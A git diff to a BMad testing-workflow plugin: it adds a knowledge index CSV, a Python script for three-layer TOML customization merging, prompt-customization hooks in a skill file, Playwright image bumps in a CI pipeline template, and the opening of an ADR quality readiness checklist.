+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-automate/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-automate/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-01-preflight-and-context.md b/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-01-preflight-and-context.md
index 1d94d51..6fed9ff 100644
--- a/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-01-preflight-and-context.md
+++ b/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-01-preflight-and-context.md
@@ -3,7 +3,7 @@ name: 'step-01-preflight-and-context'
 description: 'Determine mode, verify framework, and load context and knowledge'
 outputFile: '{test_artifacts}/automation-summary.md'
 nextStepFile: './step-02-identify-targets.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
+knowledgeIndex: './resources/tea-index.csv'
 ---
 
 # Step 1: Preflight & Context Loading
diff --git a/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-03c-aggregate.md b/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-03c-aggregate.md
index 57f562f..8a33ecc 100644
--- a/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-03c-aggregate.md
+++ b/plugins/bmad/skills/bmad-testarch-automate/steps-c/step-03c-aggregate.md
@@ -210,10 +210,15 @@ export const mockPaymentSuccess = async (page: Page) => {
 **D) Helper Utilities** (`tests/fixtures/helpers.ts`):
 
 ```typescript
-import { expect, Page } from '@playwright/test';
+import { Page } from '@playwright/test';
+import { interceptNetworkCall } from '@seontechnologies/playwright-utils/intercept-network-call';
 
-export const waitForApiResponse = async (page: Page, urlPattern: string) => {
-  return page.waitForResponse((response) => response.url().includes(urlPattern) && response.ok());
+export const observeApiCall = (page: Page, urlPattern: string, method: string = 'GET') => {
+  return interceptNetworkCall({
+    page,
+    method,
+    url: urlPattern,
+  });
 };
 ```
 
diff --git a/plugins/bmad/skills/bmad-testarch-ci/SKILL.md b/plugins/bmad/skills/bmad-testarch-ci/SKILL.md
index 5480388..ffcb484 100644
--- a/plugins/bmad/skills/bmad-testarch-ci/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-ci/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-testarch-ci
 description: 'Scaffold CI/CD quality pipeline with test execution. Use when the user says "lets setup CI pipeline" or "I want to create quality gates"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-ci --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-ci --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-ci/customize.toml b/plugins/bmad/skills/bmad-testarch-ci/customize.toml
new file mode 100644
index 0000000..cb8df10
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-ci
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-ci.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-ci.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-ci/harness-pipeline-template.yaml b/plugins/bmad/skills/bmad-testarch-ci/harness-pipeline-template.yaml
index 9f110f2..1a7200f 100644
--- a/plugins/bmad/skills/bmad-testarch-ci/harness-pipeline-template.yaml
+++ b/plugins/bmad/skills/bmad-testarch-ci/harness-pipeline-template.yaml
@@ -8,6 +8,7 @@
 #   TEST_CMD          - main test command (e.g., npm run test:e2e, npm test, npx vitest)
 #   LINT_CMD          - lint command (e.g., npm run lint)
 #   BROWSER_INSTALL   - browser install command (frontend/fullstack only; omit for backend)
+#   PLAYWRIGHT_IMAGE  - keep in sync with your @playwright/test version (example: mcr.microsoft.com/playwright:v1.58.2-noble)
 
 pipeline:
   name: Test Pipeline
@@ -80,7 +81,7 @@ pipeline:
                   identifier: browsers
                   spec:
                     connectorRef: account.harnessImage
-                    image: mcr.microsoft.com/playwright:v1.50.0-noble
+                    image: mcr.microsoft.com/playwright:v1.58.2-noble # Replace with PLAYWRIGHT_IMAGE
                     shell: Sh
                     command: npx playwright install --with-deps chromium # Replace with BROWSER_INSTALL
 
@@ -91,7 +92,7 @@ pipeline:
                       identifier: shard_1
                       spec:
                         connectorRef: account.harnessImage
-                        image: mcr.microsoft.com/playwright:v1.50.0-noble
+                        image: mcr.microsoft.com/playwright:v1.58.2-noble # Replace with PLAYWRIGHT_IMAGE
                         shell: Sh
                         command: npm run test:e2e -- --shard=1/4 # Replace with TEST_CMD + shard args
                   - step:
@@ -100,7 +101,7 @@ pipeline:
                       identifier: shard_2
                       spec:
                         connectorRef: account.harnessImage
-                        image: mcr.microsoft.com/playwright:v1.50.0-noble
+                        image: mcr.microsoft.com/playwright:v1.58.2-noble # Replace with PLAYWRIGHT_IMAGE
                         shell: Sh
                         command: npm run test:e2e -- --shard=2/4 # Replace with TEST_CMD + shard args
                   - step:
@@ -109,7 +110,7 @@ pipeline:
                       identifier: shard_3
                       spec:
                         connectorRef: account.harnessImage
-                        image: mcr.microsoft.com/playwright:v1.50.0-noble
+                        image: mcr.microsoft.com/playwright:v1.58.2-noble # Replace with PLAYWRIGHT_IMAGE
                         shell: Sh
                         command: npm run test:e2e -- --shard=3/4 # Replace with TEST_CMD + shard args
                   - step:
@@ -118,7 +119,7 @@ pipeline:
                       identifier: shard_4
                       spec:
                         connectorRef: account.harnessImage
-                        image: mcr.microsoft.com/playwright:v1.50.0-noble
+                        image: mcr.microsoft.com/playwright:v1.58.2-noble # Replace with PLAYWRIGHT_IMAGE
                         shell: Sh
                         command: npm run test:e2e -- --shard=4/4 # Replace with TEST_CMD + shard args
 
@@ -145,7 +146,7 @@ pipeline:
                   identifier: burn_in_loop
                   spec:
                     connectorRef: account.harnessImage
-                    image: mcr.microsoft.com/playwright:v1.50.0-noble
+                    image: mcr.microsoft.com/playwright:v1.58.2-noble # Replace with PLAYWRIGHT_IMAGE
                     shell: Sh
                     command: |
                       npm ci
diff --git a/plugins/bmad/skills/bmad-testarch-ci/instructions.md b/plugins/bmad/skills/bmad-testarch-ci/instructions.md
index 4c68ead..f2574fc 100644
--- a/plugins/bmad/skills/bmad-testarch-ci/instructions.md
+++ b/plugins/bmad/skills/bmad-testarch-ci/instructions.md
@@ -2,7 +2,6 @@
 
 # CI/CD Pipeline Setup
 
-**Workflow ID**: `_bmad/tea/testarch/bmad-testarch-ci`
 **Version**: 5.0 (Step-File Architecture)
 
 ---
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
